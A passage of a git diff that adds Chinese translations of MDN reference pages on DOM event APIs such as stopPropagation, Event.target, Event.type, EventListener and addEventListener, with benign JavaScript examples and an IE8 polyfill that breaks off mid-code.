+              alert("我是div元素,我是p元素的上层元素");
+              // p元素的click事件没有向上冒泡,该函数不会被执行
+            }, false);
+        </script>
+    </body>
+</html>
+
+ +

规范

+ + + + + + + + + + + + + + + + +
规范状态备注
{{SpecName('DOM WHATWG', '#dom-event-stopimmediatepropagation', 'Event.stopImmediatePropagation()')}}{{Spec2('DOM WHATWG')}}
+ +

浏览器兼容性

+ + + +

{{Compat("api.Event.stopImmediatePropagation")}}

diff --git a/files/zh-cn/web/api/event/stoppropagation/index.html b/files/zh-cn/web/api/event/stoppropagation/index.html new file mode 100644 index 0000000000..f494423b47 --- /dev/null +++ b/files/zh-cn/web/api/event/stoppropagation/index.html @@ -0,0 +1,80 @@ +--- +title: event.stopPropagation +slug: Web/API/Event/stopPropagation +tags: + - API + - DOM + - Event + - stopPropagation + - 事件 + - 方法 + - 阻止冒泡事件 +translation_of: Web/API/Event/stopPropagation +--- +

{{APIRef("DOM")}}

+ +

阻止捕获和冒泡阶段中当前事件的进一步传播。

+ +

但是,它不能防止任何默认行为的发生; 例如,对链接的点击仍会被处理。

+ +

如果要停止这些行为,请参见 preventDefault 方法,它可以阻止事件触发后默认动作的发生。

+ +

语法

+ +
event.stopPropagation();
+
+ +

参数

+ +

None.

+ +

返回值

+ +

undefined.

+ +

例子

+ +

查看示例5: 事件传播 在示例一章中有关此方法和事件在DOM中传播的更详细示例。

+ +

备注

+ +

查看 DOM 规范 中关于事件流的解释。 ( DOM Level 3 事件草案 有案例可参考。)

+ +

preventDefault 是另外一个相关的方法,它可以阻止事件触发后默认动作的发生。

+ +

规范

+ + + + + + + + + + + + + + + + + + + + + + + + +
规范状态说明
{{SpecName("DOM4", "#dom-event-stoppropagation", "Event.stopPropagation()")}}{{Spec2("DOM4")}}
{{SpecName("DOM3 Events", "#widl-Event-stopPropagation", "Event.stopPropagation()")}}{{Spec2("DOM3 Events")}}
{{SpecName("DOM2 Events", "#Events-Event-stopPropagation", "Event.stopPropagation()")}}{{Spec2("DOM2 Events")}}初始定义
+ +

浏览器兼容性

+ + + +

{{Compat("api.Event.stopPropagation")}}

+ +
diff --git a/files/zh-cn/web/api/event/target/index.html b/files/zh-cn/web/api/event/target/index.html new file mode 100644 index 0000000000..c2b8544a36 --- /dev/null +++ b/files/zh-cn/web/api/event/target/index.html @@ -0,0 +1,87 @@ +--- +title: Event.target +slug: Web/API/Event/target +tags: + - event.target + - 事件委托 (event delegation) +translation_of: Web/API/Event/target +--- +

{{ ApiRef("DOM") }}

+ +

触发事件的对象 (某个DOM元素) 的引用。当事件处理程序在事件的冒泡或捕获阶段被调用时,它与{{domxref("event.currentTarget")}}不同。

+ +

语法

+ +
let theTarget = event.target
+ +

示例

+ +

event.target 属性可以用来实现事件委托 (event delegation)。

+ +
// Make a list
+var ul = document.createElement('ul');
+document.body.appendChild(ul);
+
+var li1 = document.createElement('li');
+var li2 = document.createElement('li');
+ul.appendChild(li1);
+ul.appendChild(li2);
+
+function hide(e){
+  // e.target 引用着 <li> 元素
+  // 不像 e.currentTarget 引用着其父级的 <ul> 元素.
+  e.target.style.visibility = 'hidden';
+}
+
+// 添加监听事件到列表,当每个 <li> 被点击的时候都会触发。
+ul.addEventListener('click', hide, false);
+
+ +

规范

+ + + + + + + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName("DOM WHATWG", "#dom-event-target", "Event.target")}}{{Spec2("DOM WHATWG")}} 
{{SpecName("DOM4", "#dom-event-target", "Event.target")}}{{Spec2("DOM4")}} 
{{SpecName("DOM2 Events", "#Events-Event-target", "Event.target")}}{{Spec2("DOM2 Events")}}Initial definition
+ +

浏览器兼容性

+ + + +

{{Compat("api.Event.target")}}

+ +

在 IE6-8 中,事件模型与标准不同。使用非标准的 element.attachEvent() 方法绑定事件监听器。在该模型中,事件对象有一个 srcElement 属性,等价于target 属性。

+ +
function hide(e) {
+  // 支持 IE6-8
+  var target = e.target || e.srcElement;
+  target.style.visibility = 'hidden';
+}
+
+ +

相关链接

+ + diff --git a/files/zh-cn/web/api/event/timestamp/index.html b/files/zh-cn/web/api/event/timestamp/index.html new file mode 100644 index 0000000000..3e877af22b --- /dev/null +++ b/files/zh-cn/web/api/event/timestamp/index.html @@ -0,0 +1,55 @@ +--- +title: event.timeStamp +slug: Web/API/Event/timeStamp +tags: + - API + - DOM + - Event + - timeStamp +translation_of: Web/API/Event/timeStamp +--- +
{{APIRef}}
+ +
 
+ +
警告: 在Gecko中,该属性的值不是事件发生时正确的事件戳.查看 https://bugzilla.mozilla.org/show_bug.cgi?id=238041
+ +

概述

+ +

返回事件发生时的时间戳.

+ +

语法

+ +
var number = event.timeStamp;
+
+ +

例子

+ +
<html>
+<head>
+
+<title>timeStamp example</title>
+
+<script type="text/javascript">
+function getTime(event) {
+  document.getElementById("time").firstChild.nodeValue = event.timeStamp;
+}
+</script>
+</head>
+
+<body onkeypress="getTime(event)">
+
+<p>按下任意键获取onkeypress事件对象的timestamp属性值.</p>
+<p>timeStamp: <span id="time">-</span></p>
+
+</body>
+</html>
+
+ +

备注

+ +

此属性仅适用于事件系统支持该属性的特定事件类型.

+ +

规范

+ +

event.timestamp

diff --git a/files/zh-cn/web/api/event/type/index.html b/files/zh-cn/web/api/event/type/index.html new file mode 100644 index 0000000000..b7e80e0000 --- /dev/null +++ b/files/zh-cn/web/api/event/type/index.html @@ -0,0 +1,106 @@ +--- +title: event.type +slug: Web/API/Event/type +tags: + - API + - DOM + - Event + - Property + - 参考 + - 属性 +translation_of: Web/API/Event/type +--- +

{{APIRef("DOM")}}

+ +

只读属性 Event.type 会返回一个字符串, 表示该事件对象的事件类型。

+ +

传给 {{ domxref("EventTarget.addEventListener()") }} 和 {{ domxref("EventTarget.removeEventListener()") }} 方法的 event 参数的值是忽略大小写的.

+ +

要了解所有的事件类型, 请查看 Mozilla 事件类型参考.

+ +

语法

+ +
event.type
+
+ +

示例

+ +
<!DOCTYPE html>
+<html lang="en">
+<head>
+    <meta charset="utf-8">
+
+    <title>Event.type Example</title>
+
+    <script>
+        var currEvent = null;
+        function getEvtType(evt) {
+            console.log("//Start------------getEvtType(evt)------------ ");
+
+            currEvent = evt.type;
+            console.log(currEvent);
+
+            //document.getElementById("Etype").firstChild.nodeValue = currEvent;
+            document.getElementById("Etype").innerHTML = currEvent;
+
+            console.log("//End--------------getEvtType(evt)------------ ");
+        }
+
+        //Keyboard events
+        document.addEventListener("keypress", getEvtType, false); //[second]
+
+        document.addEventListener("keydown", getEvtType, false); //first
+        document.addEventListener("keyup", getEvtType, false); //third
+
+        //Mouse events
+        document.addEventListener("click", getEvtType, false); // third
+
+        document.addEventListener("mousedown", getEvtType, false); //first
+        document.addEventListener("mouseup", getEvtType, false); //second
+
+    </script>
+</head>
+
+<body>
+
+<p>Press any key or click the mouse to get the event type.</p>
+<p>Event type: <span id="Etype" style="color:red">-</span></p>
+
+</body>
+</html>
+
+ +

Result

+ +

{{EmbedLiveSample('示例')}}

+ +

Specifications

+ + + + + + + + + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('DOM WHATWG', '#dom-event-type', 'Event.type')}}{{ Spec2('DOM WHATWG') }} 
{{SpecName('DOM4', '#dom-event-type', 'Event.type')}}{{ Spec2('DOM4') }} 
{{SpecName('DOM2 Events', '#Events-Event-type', 'Event.type')}}{{ Spec2('DOM2 Events') }}Initial definition.
+ +

 

diff --git "a/files/zh-cn/web/api/event/\347\246\201\347\224\250\346\227\266\351\227\264\345\206\222\346\263\241/index.html" "b/files/zh-cn/web/api/event/\347\246\201\347\224\250\346\227\266\351\227\264\345\206\222\346\263\241/index.html" new file mode 100644 index 0000000000..c228d329d6 --- /dev/null +++ "b/files/zh-cn/web/api/event/\347\246\201\347\224\250\346\227\266\351\227\264\345\206\222\346\263\241/index.html" @@ -0,0 +1,93 @@ +--- +title: Event.cancelBubble +slug: Web/API/Event/禁用时间冒泡 +tags: + - 事件 +translation_of: Web/API/Event/cancelBubble +--- +

{{APIRef("DOM Events")}} 

+ +

Event.cancelBubble 属性是 {{domxref("Event.stopPropagation()")}}的一个曾用名。在从事件处理程序返回之前将其值设置为true可阻止事件的传播。

+ +

语法

+ +
event.cancelBubble = bool;
+let bool = event.cancelBubble;
+ +

用例

+ +
+
+
ele.onclick = function(e) {
+  // 在这儿可以做点儿有趣的事情
+  e.cancelBubble = true;
+}
+
+
+ +

规范

+ +

这个属性的规范并未统一. 因为他还有其他标准 W3C版: an old Working Draft of W3C DOM Level 2. 微软版: description of it on MSDN.

+ +

浏览器兼容

+ +

{{ CompatibilityTable() }}

+ +
+ + + + + + + + + + + + + + + + + + + + + + + +
FeatureFirefox (Gecko)ChromeEdgeInternet ExplorerMicrosoft EdgeOperaSafari
Basic support{{ CompatNo() }}{{ CompatVersionUnknown() }}{{CompatVersionUnknown}}{{ CompatVersionUnknown() }}{{ CompatVersionUnknown() }}{{ CompatVersionUnknown() }}{{ CompatVersionUnknown() }}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + +
FeatureFirefox Mobile (Gecko)AndroidEdgeIE MobileOpera MobileSafari Mobile
Basic support{{ CompatUnknown() }}{{ CompatUnknown() }}{{CompatVersionUnknown}}{{ CompatUnknown() }}{{ CompatUnknown() }}{{ CompatUnknown() }}
+
+ +

参考

+ + diff --git a/files/zh-cn/web/api/eventlistener/handleevent/index.html b/files/zh-cn/web/api/eventlistener/handleevent/index.html new file mode 100644 index 0000000000..cdb93a8a6d --- /dev/null +++ b/files/zh-cn/web/api/eventlistener/handleevent/index.html @@ -0,0 +1,59 @@ +--- +title: EventListener.handleEvent() +slug: Web/API/EventListener/handleEvent +tags: + - API + - 事件 + - 参考 + - 方法 +translation_of: Web/API/EventListener/handleEvent +--- +
{{APIRef("DOM Events")}}
+ +
当事件被发送到 {{domxref("EventListener")}} 时,{{Glossary("user agent")}} 将调用 {{domxref("EventListener")}} 方法 handleEvent(),以便处理在观察到的 {{domxref("EventTarget")}} 上发生的事件。
+ +

语法

+ +
eventListener.handleEvent(event);
+
+ +

参数

+ +
+
event
+
一个 {{domxref("Event")}} 对象,描述已被触发并需要处理的事件。
+
+ +

返回值

+ +

undefined如果返回了值,浏览器将忽略它。

+ +

规范

+ + + + + + + + + + + + + + + + + + + + + +
规范状态备注
{{SpecName('DOM WHATWG', '#dom-eventlistener-handleevent', 'EventListener.handleEvent()')}}{{Spec2('DOM WHATWG')}}No change.
{{SpecName('DOM2 Events', '#Events-EventListener-handleEvent', 'EventListener.handleEvent()')}}{{Spec2('DOM2 Events')}}Initial definition.
+ +

浏览器兼容性

+ + + +

{{Compat("api.EventListener.handleEvent")}}

diff --git a/files/zh-cn/web/api/eventlistener/index.html b/files/zh-cn/web/api/eventlistener/index.html new file mode 100644 index 0000000000..f4e98d9646 --- /dev/null +++ b/files/zh-cn/web/api/eventlistener/index.html @@ -0,0 +1,95 @@ +--- +title: EventListener +slug: Web/API/EventListener +tags: + - API + - DOM + - DOM Events + - 事件 +translation_of: Web/API/EventListener +--- +

{{APIRef("DOM Events")}}

+ +

EventListener 接口表示的对象可以处理 {{domxref("EventTarget")}} 对象所调度的事件。

+ +
+

Note: 由于需要与以前遗留的内容进行兼容,EventListener 可以接受一个函数,也可以接受带有 handleEvent() 函数属性的对象。这将在下面的例子中展现出来。

+
+ +

属性

+ +

此接口未实现或继承任何属性。

+ +

方法

+ +

此接口未继承任何方法。

+ +
+
{{domxref("EventListener.handleEvent()")}}
+
一个在特定类型的事件被调用时运行的函数。
+
+ +

例子

+ +

HTML

+ +
<button id="btn">点这里!</button>
+ +

JavaScript

+ +
const buttonElement = document.getElementById('btn');
+
+// Add a handler for the 'click' event by providing a callback function.
+// Whenever the element is clicked, a pop-up with "Element clicked!" will
+// appear.
+buttonElement.addEventListener('click', function (event) {
+  alert('Element clicked through function!');
+});
+
+// 由于兼容性原因,一个带有 handleEvent 函数属性的对象也可以达到相同的效果。
+buttonElement.addEventListener('click', {
+  handleEvent: function (event) {
+    alert('Element clicked through handleEvent property!');
+  }
+});
+
+ +

结果

+ +

{{EmbedLiveSample('Example')}}

+ +

参见:

+ + + +

规范

+ + + + + + + + + + + + + + + + + + + + + +
规范状态备注
{{SpecName('DOM WHATWG', '#callbackdef-eventlistener', 'EventListener')}}{{Spec2('DOM WHATWG')}}No change.
{{SpecName('DOM2 Events', '#Events-EventListener', 'EventListener')}}{{Spec2('DOM2 Events')}}Initial definition.
+ +

浏览器兼容性

+ + + +

{{Compat("api.EventListener")}}

diff --git a/files/zh-cn/web/api/eventtarget/addeventlistener/index.html b/files/zh-cn/web/api/eventtarget/addeventlistener/index.html new file mode 100644 index 0000000000..7414ff3c38 --- /dev/null +++ b/files/zh-cn/web/api/eventtarget/addeventlistener/index.html @@ -0,0 +1,684 @@ +--- +title: EventTarget.addEventListener() +slug: Web/API/EventTarget/addEventListener +tags: + - API + - DOM + - Event + - e.stopImmediatePropagation() + - once capture bubbling propagation + - '{{Non-standard_inline}}' + - 参考 + - 方法 +translation_of: Web/API/EventTarget/addEventListener +--- +

{{APIRef("DOM Events")}}

+ +

EventTarget.addEventListener() 方法将指定的监听器注册到 {{domxref("EventTarget")}} 上,当该对象触发指定的事件时,指定的回调函数就会被执行。 事件目标可以是一个文档上的元素 {{domxref("Element")}},{{domxref("Document")}}和{{domxref("Window")}}或者任何其他支持事件的对象 (比如 XMLHttpRequest)

+ +

addEventListener()的工作原理是将实现{{domxref("EventListener")}}的函数或对象添加到调用它的{{domxref("EventTarget")}}上的指定事件类型的事件侦听器列表中。

+ +

语法

+ +
target.addEventListener(type, listener, options);
+target.addEventListener(type, listener, useCapture);
+target.addEventListener(type, listener, useCapture, wantsUntrusted {{
+Non-standard_inline}});  // Gecko/Mozilla only
+
+ +
+
+

参数

+
+
type
+
表示监听事件类型的字符串。
+
listener
+
当所监听的事件类型触发时,会接收到一个事件通知(实现了 {{domxref("Event")}} 接口的对象)对象。listener 必须是一个实现了 {{domxref("EventListener")}} 接口的对象,或者是一个函数。有关回调本身的详细信息,请参阅{{anch("The event listener callback")}} 
+
options {{optional_inline}}
+
一个指定有关 listener 属性的可选参数对象。可用的选项如下: +
    +
  • capture:  {{jsxref("Boolean")}},表示 listener 会在该类型的事件捕获阶段传播到该 EventTarget 时触发。
  • +
  • once:  {{jsxref("Boolean")}},表示 listener 在添加之后最多只调用一次。如果是 true, listener 会在其被调用之后自动移除。
  • +
  • passive: {{jsxref("Boolean")}},设置为true时,表示 listener 永远不会调用 preventDefault()。如果 listener 仍然调用了这个函数,客户端将会忽略它并抛出一个控制台警告。查看 {{anch("使用 passive 改善的滚屏性能")}} 了解更多.
  • +
  • {{non-standard_inline}} mozSystemGroup: 只能在 XBL 或者是 Firefox' chrome 使用,这是个 {{jsxref("Boolean")}},表示 listener 被添加到 system group。
  • +
+
+
useCapture  {{optional_inline}}
+
{{jsxref("Boolean")}},在DOM树中,注册了listener的元素, 是否要先于它下面的EventTarget,调用该listener。 当useCapture(设为true) 时,沿着DOM树向上冒泡的事件,不会触发listener。当一个元素嵌套了另一个元素,并且两个元素都对同一事件注册了一个处理函数时,所发生的事件冒泡和事件捕获是两种不同的事件传播方式。事件传播模式决定了元素以哪个顺序接收事件。进一步的解释可以查看 事件流 及 JavaScript Event order 文档。 如果没有指定, useCapture 默认为 false 。 
+
+ +
注意: 对于事件目标上的事件监听器来说,事件会处于“目标阶段”,而不是冒泡阶段或者捕获阶段。在目标阶段的事件会触发该元素(即事件目标)上的所有监听器,而不在乎这个监听器到底在注册时useCapture 参数值是true还是false。
+ +
注意: useCapture  仅仅在现代浏览器最近的几个版本中是可选的。 例如 Firefox 6以前的版本都不是可选的。为了能够提供更广泛的支持,你应该提供这个参数。
+ +
+
wantsUntrusted {{Non-standard_inline}}
+
如果为 true , 则事件处理程序会接收网页自定义的事件。此参数只适用于 Gecko({{glossary("chrome")}}的默认值为true,其他常规网页的默认值为false),主要用于附加组件的代码和浏览器本身。
+
+ +

返回值

+ +

undefined.

+ +

用法说明

+ +

事件监听回调

+ +

事件监听器可以被指定为回调函数或实现 {{domxref("EventListener")}}的对象,其{{domxref("EventListener.handleEvent", "handleEvent()")}} 方法用作回调函数。

+ +

回调函数本身具有与handleEvent()方法相同的参数和返回值;也就是说,回调接受一个参数:一个基于{{domxref("Event")}} 的对象,描述已发生的事件,并且它不返回任何内容。

+ +

例如,一个可用于处理{{event("fullscreenchange")}}和{{event("fullscreenerror")}}的事件处理函数可以像这样:

+ +
function eventHandler(event) {
+  if (event.type == fullscreenchange) {
+    /* handle a full screen toggle */
+  } else /* fullscreenerror */ {
+    /* handle a full screen toggle error */
+  }
+}
+ +

option支持的安全检测

+ +

在旧版本的DOM的规定中, addEventListener()的第三个参数是一个布尔值表示是否在捕获阶段调用事件处理程序。随着时间的推移,很明显需要更多的选项。与其在方法之中添加更多参数(传递可选值将会变得异常复杂),倒不如把第三个参数改为一个包含了各种属性的对象,这些属性的值用来被配置删除事件侦听器的过程。

+ +

因为旧版本的浏览器(以及一些相对不算古老的)仍然假定第三个参数是布尔值,你需要编写一些代码来有效地处理这种情况。你可以对每一个你感兴趣的options值进行特性检测。

+ +

如果你想检测 passive 值可以参考下面这个例子:

+ +
var passiveSupported = false;
+
+try {
+  var options = Object.defineProperty({}, "passive", {
+    get: function() {
+      passiveSupported = true;
+    }
+  });
+
+  window.addEventListener("test", null, options);
+} catch(err) {}
+
+ +

这段代码为 passive 属性创建了一个带有getter函数的 options 对象;getter设定了一个标识, passiveSupported,被调用后就会把其设为true。那意味着如果浏览器检查 options 对象上的 passive 值时, passiveSupported 将会被设置为 true;否则它将保持 false。然后我们调用 addEventListener() 去设置一个指定这些选项的空事件处理器,这样如果浏览器将第三个参数认定为对象的话,这些选项值就会被检查。

+ +

你可以利用这个方法检查options之中任一个值。只需使用与上面类似的代码,为选项设定一个getter。

+ +

然后,当你想实际创建一个是否支持options的事件侦听器时,你可以这样做:

+ +
someElement.addEventListener("mouseup", handleMouseUp, passiveSupported
+                               ? { passive: true } : false);
+
+ +

我们在 someElement 这里添加了一个{{event("mouseup")}}。对于第三个参数,如果 passiveSupported 是 true ,我们传递了一个 passive 值为 true 的 options 对象;如果相反的话,我们知道要传递一个布尔值,于是就传递 false 作为 useCapture 的参数。

+ +

如果你愿意,你可以用一个类似 Modernizr 或 Detect It 的第三方库来帮助你做这项测试。

+ +

你可以在 Web Incubator Community Group 里关于EventListenerOptions 的文章中了解更多。

+ +

示例

+ +

添加一个简单的监听器

+ +

下面这个例子用来展示如何使用 addEventListener() 监听鼠标点击一个元素。

+ +
<table id="outside">
+    <tr><td id="t1">one</td></tr>
+    <tr><td id="t2">two</td></tr>
+</table>
+
+ +
// 改变t2的函数
+function modifyText() {
+  var t2 = document.getElementById("t2");
+  if (t2.firstChild.nodeValue == "three") {
+    t2.firstChild.nodeValue = "two";
+  } else {
+    t2.firstChild.nodeValue = "three";
+  }
+}
+
+// 为table添加事件监听器
+var el = document.getElementById("outside");
+el.addEventListener("click", modifyText, false);
+
+ +

在上个例子中,modifyText() 是一个 click 事件的监听器,通过使用addEventListenter()注册到table对象上。在表格中任何位置单击都会触发事件并执行modifyText()

+ +

结果

+ +

{{EmbedLiveSample('添加一个简单的监听器')}}

+ +

带有匿名函数的监听器

+ +

现在我们来看看如何使用匿名函数来为事件监听器进行传参。

+ +
<table id="outside">
+    <tr><td id="t1">one</td></tr>
+    <tr><td id="t2">two</td></tr>
+</table>
+
+ +
// 改变t2值的函数
+function modifyText(new_text) {
+  var t2 = document.getElementById("t2");
+  t2.firstChild.nodeValue = new_text;
+}
+
+// 为table对象添加事件监听器
+var el = document.getElementById("outside");
+el.addEventListener("click", function(){modifyText("four")}, false);
+ +

请注意,侦听器是一个匿名函数,它封装了代码,然后代码可以将参数发送到modifyText()函数,该函数负责实际响应事件。

+ +

结果

+ +

{{EmbedLiveSample('带有匿名函数的监听器')}}

+ +

带有箭头函数的监听器

+ +

这个例子用来展示如何通过箭头函数来实现一个监听器。

+ +

HTML

+ +
<table id="outside">
+    <tr><td id="t1">one</td></tr>
+    <tr><td id="t2">two</td></tr>
+</table>
+ +

JavaScript

+ +
// Function to change the content of t2
+function modifyText(new_text) {
+  var t2 = document.getElementById("t2");
+  t2.firstChild.nodeValue = new_text;
+}
+
+// Add event listener to table with an arrow function
+var el = document.getElementById("outside");
+el.addEventListener("click", () => { modifyText("four"); }, false);
+ +

结果

+ +

{{EmbedLiveSample('带有箭头函数的监听器')}}

+ +

请注意尽管匿名函数和箭头函数有些类似,但是他们绑定不同的this对象。匿名函数(和所有传统的Javascript函数)创建他们独有的this对象,而箭头函数则继承绑定他所在函数的this对象。

+ +

这意味着在使用箭头函数时,原函数中可用的变量和常量在事件处理器中同样可用。

+ +

options用法示例

+ +

HTML

+ +
<div class="outer">
+    outer, once & none-once
+    <div class="middle" target="_blank">
+        middle, capture & none-capture
+        <a class="inner1" href="https://www.mozilla.org" target="_blank">
+            inner1, passive & preventDefault(which is not allowed)
+        </a>
+        <a class="inner2" href="https://developer.mozilla.org/" target="_blank">
+            inner2, none-passive & preventDefault(not open new page)
+        </a>
+    </div>
+</div>
+ +

CSS

+ +
    .outer, .middle, .inner1, .inner2 {
+        display:block;
+        width:520px;
+        padding:15px;
+        margin:15px;
+        text-decoration:none;
+    }
+    .outer{
+        border:1px solid red;
+        color:red;
+    }
+    .middle{
+        border:1px solid green;
+        color:green;
+        width:460px;
+    }
+    .inner1, .inner2{
+        border:1px solid purple;
+        color:purple;
+        width:400px;
+    }
+ +

JavaScript

+ +
let outer  = document.getElementsByClassName('outer') [0];
+    let middle = document.getElementsByClassName('middle')[0];
+    let inner1 = document.getElementsByClassName('inner1')[0];
+    let inner2 = document.getElementsByClassName('inner2')[0];
+
+    let capture = {
+        capture : true
+    };
+    let noneCapture = {
+        capture : false
+    };
+    let once = {
+        once : true
+    };
+    let noneOnce = {
+        once : false
+    };
+    let passive = {
+        passive : true
+    };
+    let nonePassive = {
+        passive : false
+    };
+
+
+    outer .addEventListener('click', onceHandler, once);
+    outer .addEventListener('click', noneOnceHandler, noneOnce);
+    middle.addEventListener('click', captureHandler, capture);
+    middle.addEventListener('click', noneCaptureHandler, noneCapture);
+    inner1.addEventListener('click', passiveHandler, passive);
+    inner2.addEventListener('click', nonePassiveHandler, nonePassive);
+
+    function onceHandler(event)
+    {
+        alert('outer, once');
+    }
+    function noneOnceHandler(event)
+    {
+        alert('outer, none-once, default');
+    }
+    function captureHandler(event)
+    {
+        //event.stopImmediatePropagation();
+        alert('middle, capture');
+    }
+    function noneCaptureHandler(event)
+    {
+        alert('middle, none-capture, default');
+    }
+    function passiveHandler(event)
+    {
+        // Unable to preventDefault inside passive event listener invocation.
+        //在调用passive事件监听器内部不能使用preventDefault
+        event.preventDefault();
+        alert('inner1, passive, open new page');
+    }
+    function nonePassiveHandler(event)
+    {
+        event.preventDefault();
+        //event.stopPropagation();
+        alert('inner2, none-passive, default, not open new page');
+    }
+
+ +

结果

+ +

分别点击 outer, middle, inner 以查看选项的工作方式。

+ +

{{ EmbedLiveSample('options用法示例', 600, 310, '', 'Web/API/EventTarget/addEventListener') }}

+ +

在使用options对象中具体的值前,最好确保用户的浏览器支持它,因为这些是历史上并非所有浏览器都支持的附加功能。你可以查看{{anch("Safely detecting option support")}}以了解更多

+ +

备注

+ +

为什么要使用 addEventListener?

+ +

addEventListener() 是 W3C DOM 规范中提供的注册事件监听器的方法。它的优点包括:

+ + + +

除了这种方法以外,后文会简单阐述一些注册事件监听器的旧方法

+ +

在事件分派时添加事件处理器

+ +

当一个 EventListener 在 EventTarget 正在处理事件的时候被注册到 EventTarget 上,它不会被立即触发,但可能在事件流后面的事件触发阶段被触发,例如可能在捕获阶段添加,然后在冒泡阶段被触发。

+ +

多个相同的事件处理器

+ +

同一个 EventTarget 注册了多个相同的 EventListener,那么重复的实例会被抛弃。所以这么做不会使得 EventListener 被调用两次,也不需要用 removeEventListener 手动清除多余的EventListener ,因为重复的都被自动抛弃了,前提是options中的capture的参数值一致,如果capture的值不一致,此时就算重复定义,也不会被抛弃掉。

+ +

处理过程中 this 的值的问题

+ +

通常来说this的值是触发事件的元素的引用,这种特性在多个相似的元素使用同一个通用事件监听器时非常让人满意。

+ +

当使用 addEventListener() 为一个元素注册事件的时候,句柄里的 this 值是该元素的引用。其与传递给句柄的 event 参数的 currentTarget 属性的值一样。

+ +

如果一个事件的属性( 例如. onClick)是指定在一个HTML的元素上的,则这个属性中的JavaScript语句实际上会被包裹在一个处理函数中,在这个处理函数中使用this的效果和使用addEventListener来绑定事件的效果是一样的; this的出现代表了元素的引用。注意到在一个函数里this调用的的效果和标准规则里面是一样的。

+ +

比如下面的例子:

+ +
<table id="t" onclick="modifyText();">
+. . .
+
+ +

这时modifyText()中的this 的值会变成全局 (window) 对象的引用(在严格模式中为 undefined)

+ +
注意: JavaScript 1.8.5 引入了Function.prototype.bind() 方法,允许制定函数调用时的 this 的值。这使得想要绕开由于调用情况不同,this 取值不同的问题变得十分容易 。然而请注意,你应该保留一个 listener 的引用,以便在未来需要的时候能够比较好地移除。
+ +

下面是 bind 相关的例子:

+ +
var Something = function(element) {
+  // |this| is a newly created object
+  this.name = 'Something Good';
+  this.onclick1 = function(event) {
+    console.log(this.name); // undefined, as |this| is the element
+  };
+  this.onclick2 = function(event) {
+    console.log(this.name); // 'Something Good', as |this| is bound to newly created object
+  };
+  element.addEventListener('click', this.onclick1, false);
+  element.addEventListener('click', this.onclick2.bind(this), false); // Trick
+}
+var s = new Something(document.body);
+ +

上面这个例子的一个问题是不可能移除使用了 bind 的监听器。一种解决办法是使用定制的函数'handleEvent'去捕获任意类型:

+ +
var Something = function(element) {
+  // |this| is a newly created object
+  this.name = 'Something Good';
+  this.handleEvent = function(event) {
+    console.log(this.name); // 'Something Good', as this is bound to newly created object
+    switch(event.type) {
+      case 'click':
+        // some code here...
+        break;
+      case 'dblclick':
+        // some code here...
+        break;
+    }
+  };
+
+  // Note that the listeners in this case are |this|, not this.handleEvent
+  element.addEventListener('click', this, false);
+  element.addEventListener('dblclick', this, false);
+
+  // You can properly remove the listeners
+  element.removeEventListener('click', this, false);
+  element.removeEventListener('dblclick', this, false);
+}
+var s = new Something(document.body);
+ +

另一种控制this指向的方法是,给 EventListener 传递一个函数,调用想要访问对应作用域对象的方法:

+ +
class SomeClass {
+
+  constructor() {
+    this.name = 'Something Good';
+  }
+
+  register() {
+    var that = this;
+    window.addEventListener('keydown', function(e) {return that.someMethod(e);});
+  }
+
+  someMethod(e) {
+    console.log(this.name);
+    switch(e.keyCode) {
+      case 5:
+        // some code here...
+        break;
+      case 6:
+        // some code here...
+        break;
+    }
+  }
+
+}
+
+var myObject = new SomeClass();
+myObject.register();
+
+ +

传统的 Internet Explorer 及其 attachEvent 方法

+ +

对于 Internet Explorer 来说,在IE 9之前,你必须使用 attachEvent 而不是使用标准方法 addEventListener。为了支持IE,前面的例子需要改成这样:

+ +
if (el.addEventListener) {
+  el.addEventListener('click', modifyText, false);
+} else if (el.attachEvent)  {
+  el.attachEvent('onclick', modifyText);
+}
+
+ +

使用 attachEvent 方法有个缺点,this 的值会变成 window 对象的引用而不是触发事件的元素。

+ +

attachEvent()方法可以与onresize事件配对,以检测何时调整网页中的某些元素的大小。专有的mselementresize事件与注册事件处理程序的addEventListener方法配对时,提供与onresize类似的功能,在调整某些HTML元素大小时触发。

+ +

兼容性

+ +

在你的script的开头添加以下方法,你就可以使用以下如 addEventListenerremoveEventListenerEvent.preventDefault 和Event.stopPropagation 等不被IE8支持的方法。 这些代码支持 handleEvent 的使用 ,包含 DOMContentLoaded 事件.

+ +
Note: IE8 不具有任何替代 useCapture 的方法,useCapture 是 IE8 不支持的。 请注意下面的代码只能添加 IE8。另外请注意,下面这个 IE8 polyfill 只适用于标准模式:需要 DOCTYPE 声明。
+ +
(function() {
+  if (!Event.prototype.preventDefault) {
+    Event.prototype.preventDefault=function() {
+      this.returnValue=false;
+    };
+  }
+  if (!Event.prototype.stopPropagation) {
+    Event.prototype.stopPropagation=function() {
+      this.cancelBubble=true;
+    };
+  }
+  if (!Element.prototype.addEventListener) {
+    var eventListeners=[];
+
+    var addEventListener=function(type,listener /*, useCapture (will be ignored) */) {
+      var self=this;
+      var wrapper=function(e) {
+        e.target=e.srcElement;
+        e.currentTarget=self;
+        if (typeof listener.handleEvent != 'undefined') {
+          listener.handleEvent(e);
+        } else {
+          listener.call(self,e);
+        }
+      };
+      if (type=="DOMContentLoaded") {
+        var wrapper2=function(e) {
+          if (document.readyState=="complete") {
+            wrapper(e);
+          }
+        };
+        document.attachEvent("onreadystatechange",wrapper2);
+        eventListeners.push({object:this,type:type,listener:listener,wrapper:wrapper2});
+
+        if (document.readyState=="complete") {
+          var e=new Event();
+          e.srcElement=window;
+          wrapper2(e);
+        }
+      } else {
+        this.attachEvent("on"+type,wrapper);
+        eventListeners.push({object:this,type:type,listener:listener,wrapper:wrapper});
+      }
+    };
+    var removeEventListener=function(type,listener /*, useCapture (will be ignored) */) {
+      var counter=0;
+      while (counter<eventListeners.length) {
+        var eventListener=eventListeners[counter];
+        if (eventListener.object==this && eventListener.type==type && eventListener.listener==listener) {
+          if (type=="DOMContentLoaded") {
+            this.detachEvent("onreadystatechange",eventListener.wrapper);
+          } else {
+            this.detachEvent("on"+type,eventListener.wrapper);
+          }
+          eventListeners.splice(counter, 1);
+          break;
+        }
+        ++counter;
+      }
+    };
+    Element.prototype.addEventListener=addEventListener;
+    Element.prototype.removeEventListener=removeEventListener;
+    if (HTMLDocument) {
+      HTMLDocument.prototype.addEventListener=addEventListener;
+      HTMLDocument.prototype.removeEventListener=removeEventListener;
+    }
+    if (Window) {
